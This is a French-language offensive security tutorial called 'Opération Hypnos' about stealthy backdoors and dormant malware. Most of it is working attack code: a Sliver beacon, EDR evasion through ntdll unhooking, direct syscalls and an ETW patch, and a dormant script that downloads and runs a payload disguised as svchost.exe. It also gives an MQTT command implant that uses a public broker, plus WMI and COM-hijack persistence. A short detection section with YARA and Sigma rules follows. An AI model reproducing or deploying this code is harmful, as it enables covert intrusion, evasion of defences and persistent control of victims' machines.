Opération Hypnos
Backdoors Invisibles et Malwares Dormants de Nouvelle Génération

1. Introduction – Le paysage actuel des backdoors

Les backdoors et les malwares dormants restent des armes redoutables dans les opérations de red team et les APT. Aujourd'hui, les défenses (EDR, XDR) obligent les attaquants à employer des techniques de plus en plus furtives : communications mimant des protocoles légitimes, code polymorphe, déclencheurs contextuels complexes. Ce tutoriel vous propose de maîtriser ces méthodes avancées, de la génération de payloads avec Sliver à l'évasion via SysWhispers3, en passant par des malwares dormants compilés avec Nuitka et un C2 discret sur MQTT.

Nous resterons dans un cadre éducatif strict, en laboratoire isolé. Toutes les techniques présentées sont documentées et réalistes.

2. Laboratoire virtuel avancé

Nous allons déployer un environnement multi-VM avec Docker et Vagrant, comprenant :

• Kali Linux (attaque) : 192.168.56.10
• Windows 10 (cible) : 192.168.56.101
• Ubuntu 22.04 (serveur MQTT + cible secondaire) : 192.168.56.102
• Réseau isolé Host-Only.

Provisionnement avec Vagrant :

Vagrant.configure("2") do |config|
  config.vm.define "kali" do |k|
    k.vm.box = "kalilinux/rolling"
    k.vm.network "private_network", ip: "192.168.56.10"
  end
  config.vm.define "win10" do |w|
    w.vm.box = "gusztavvargadr/windows-10-22h2"
    w.vm.network "private_network", ip: "192.168.56.101"
  end
  config.vm.define "ubuntu" do |u|
    u.vm.box = "ubuntu/jammy64"
    u.vm.network "private_network", ip: "192.168.56.102"
  end
end

Activez le partage de dossiers pour transférer les payloads. Sur la cible Windows, désactivez temporairement Defender et le pare-feu (en lab seulement).

3. Génération de payloads indétectables

Nous utiliserons Sliver, un framework C2 moderne écrit en Go. Il génère des implants personnalisés et supporte plusieurs protocoles (mTLS, HTTP, DNS, etc.).

3.1 Installation de Sliver

curl https://sliver.sh/install|bash

3.2 Génération d'un beacon HTTPS avec obfuscation

sliver > generate beacon --mtls 192.168.56.10:443 --save /tmp/beacon.bin --format shellcode

Le shellcode peut être intégré dans un loader C# ou PowerShell. Pour une furtivité maximale, nous allons le combiner avec un chiffrement XOR et un loader en C++ qui utilise des syscalls directs.

4. Techniques d'évasion de nouvelle génération

4.1 Unhooking ntdll.dll

Les EDR placent des hooks sur les fonctions natives (NtOpenProcess, NtAllocateVirtualMemory). Pour les contourner, on recharge une copie propre de ntdll.dll depuis le disque.

// Exemple simplifié : remapping ntdll
HANDLE hFile = CreateFile("C:\\Windows\\System32\\ntdll.dll", ...);
HANDLE hSection = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID pNtdll = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0);
// Utilise pNtdll pour résoudre les syscalls

4.2 SysWhispers3 – Appels système directs

SysWhispers3 génère un assemblage qui permet d'invoquer les syscalls sans passer par ntdll. Téléchargez le générateur et exécutez :

python3 syswhispers.py --preset common -o syscalls

Intégrez les fichiers générés dans votre loader C++. Exemple d'appel à NtAllocateVirtualMemory :

NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

4.3 Contournement de l'ETW

L'ETW (Event Tracing for Windows) peut être désactivé en mémoire en patchant EtwEventWrite.

// Patch en mémoire de EtwEventWrite
DWORD old;
VirtualProtect(EtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &old);
*(BYTE*)EtwEventWrite = 0xC3; // ret

5. Malwares dormants avancés

Un malware dormant s'active uniquement lorsque plusieurs conditions sont réunies. Nous allons créer un script Python compilé avec Nuitka (plus difficile à reverse que PyInstaller).

5.1 Script Python à déclencheurs multiples

import time, os, socket, hashlib, sys
from datetime import datetime

def check_conditions():
    # 1. Date précise (jour/mois)
    if datetime.now().strftime("%d-%m") == "15-08":
        return True
    # 2. Domaine AD ou IP spécifique
    try:
        if "lab.local" in socket.gethostbyaddr("192.168.56.10")[0]:
            return True
    except:
        pass
    # 3. Présence d'un fichier avec un hash particulier
    if os.path.exists("C:\\temp\\trigger.dat"):
        with open("C:\\temp\\trigger.dat", "rb") as f:
            if hashlib.md5(f.read()).hexdigest() == "d41d8cd98f00b204e9800998ecf8427e":
                return True
    # 4. Réception d'un paquet magique sur un port (écoute UDP)
    # Implémentation simplifiée...
    return False

def main():
    while True:
        if check_conditions():
            # Exécution de la charge utile : télécharger et exécuter beacon Sliver
            import urllib.request
            payload = urllib.request.urlopen("http://192.168.56.10/beacon.exe").read()
            with open("C:\\Windows\\Temp\\svchost.exe", "wb") as f:
                f.write(payload)
            os.system("C:\\Windows\\Temp\\svchost.exe")
            sys.exit(0)
        time.sleep(1800)  # vérifie toutes les 30 minutes

if __name__ == "__main__":
    main()

5.2 Compilation avec Nuitka

nuitka --standalone --onefile --windows-disable-console dormant.py

Cela produit un exécutable natif difficile à analyser. Vous pouvez ajouter une signature digitale factice pour contourner certains contrôles.

6. C2 moderne et exfiltration

6.1 C2 via MQTT

MQTT est un protocole IoT léger qui passe souvent inaperçu. Nous allons utiliser un broker public (test.mosquitto.org) ou local. L'implant publie des messages sur un topic, le serveur C2 s'abonne.

# Sur le serveur C2 (Kali) : s'abonner au topic de commandes
mosquitto_sub -h test.mosquitto.org -t "hypnos/beacon1/cmd" -v

Dans l'implant (Python) :

import paho.mqtt.client as mqtt, subprocess, os

def on_message(client, userdata, msg):
    cmd = msg.payload.decode()
    out = subprocess.getoutput(cmd)
    client.publish("hypnos/beacon1/out", out)

client = mqtt.Client()
client.on_message = on_message
client.connect("test.mosquitto.org", 1883, 60)
client.subscribe("hypnos/beacon1/cmd")
client.loop_forever()

6.2 Exfiltration DNS

Pour exfiltrer des données sans connexion directe, on peut utiliser des requêtes DNS TXT. L'outil dnscat2 ou un script personnalisé font l'affaire.

7. Persistance sans fichier

7.1 WMI Event Subscription

Créez un filtre et un consumer qui exécutent un script PowerShell encodé toutes les heures.

$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{Name="HypnosFilter"; EventNameSpace="root\cimv2"; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 3600 WHERE TargetInstance ISA 'Win32_LocalTime'"}
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name="HypnosConsumer"; CommandLineTemplate="powershell -enc <base64>"}
$consumer | Add-Member -MemberType NoteProperty -Name Filter -Value $filter
$consumer | Set-Member -Name Filter -Value $filter
Register-WmiEvent -Consumer $consumer -Filter $filter

7.2 COM Hijacking

Détourner un objet COM inutilisé pour charger une DLL malveillante. Exemple avec HKCU\Software\Classes\CLSID\{...}\InprocServer32.

8. Détection et réponse

Face à ces techniques, une défense efficace repose sur la corrélation de logs et l'analyse comportementale. Nous allons déployer un stack ELK (Elastic, Logstash, Kibana) et des règles Sigma.

8.1 Règle YARA pour détecter l'implant MQTT

rule hypnos_mqtt_implant {
    strings:
        $mqtt = "paho.mqtt.client" ascii wide
        $topic = "hypnos/beacon1/" ascii wide
    condition:
        any of them
}

8.2 Règle Sigma pour WMI Persistence

title: WMI Persistence Detection
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 19
        EventNamespace: "root/subscription"
    condition: selection
level: high

9. Mapping MITRE ATT&CK

10. Conclusion et responsabilité éthique

Ce tutoriel a exploré des techniques de backdoors et malwares dormants à la pointe de la recherche en sécurité offensive. Chaque méthode présentée peut être reproduite en laboratoire pour mieux comprendre les menaces et renforcer les défenses.

L'utilisation de ces connaissances doit impérativement rester dans un cadre légal et éthique. Les professionnels de la cybersécurité ont la responsabilité de protéger les infrastructures et de contribuer à un écosystème numérique plus sûr.

Opération Hypnos vous a donné un aperçu des possibles. À vous maintenant d'innover, de détecter et de contrer ces menaces. Le sommeil de la raison engendre des monstres ; restez éveillés.